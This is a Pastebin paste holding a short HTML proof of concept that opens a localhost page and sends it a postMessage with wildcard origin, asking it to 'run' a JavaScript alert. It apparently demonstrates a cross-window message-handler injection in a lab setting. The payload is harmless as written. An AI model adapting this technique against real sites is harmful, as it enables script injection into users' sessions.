Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head lang="klingonisch">
- <meta charset="UTF-8">
- <title>Oink Oink</title>
- </head>
- <body>
- <script>
- let targetWindow = window.open('http://localhost:5000/static/Derp.html');
- let hackFunction = (function(w) {
- return function() {
- w.postMessage(JSON.stringify({
- action: 'run',
- data: 'alert(\'1337 burger für cha0s\');'
- }), '*');
- };
- })(targetWindow);
- try {
- if (window.origin !== 'http://localhost:5000') {
- throw new DOMException('Origin mismatch');
- }
- targetWindow.addEventListener('load', hackFunction);
- }
- catch (e) {
- window.setTimeout(hackFunction, 2000);
- }
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement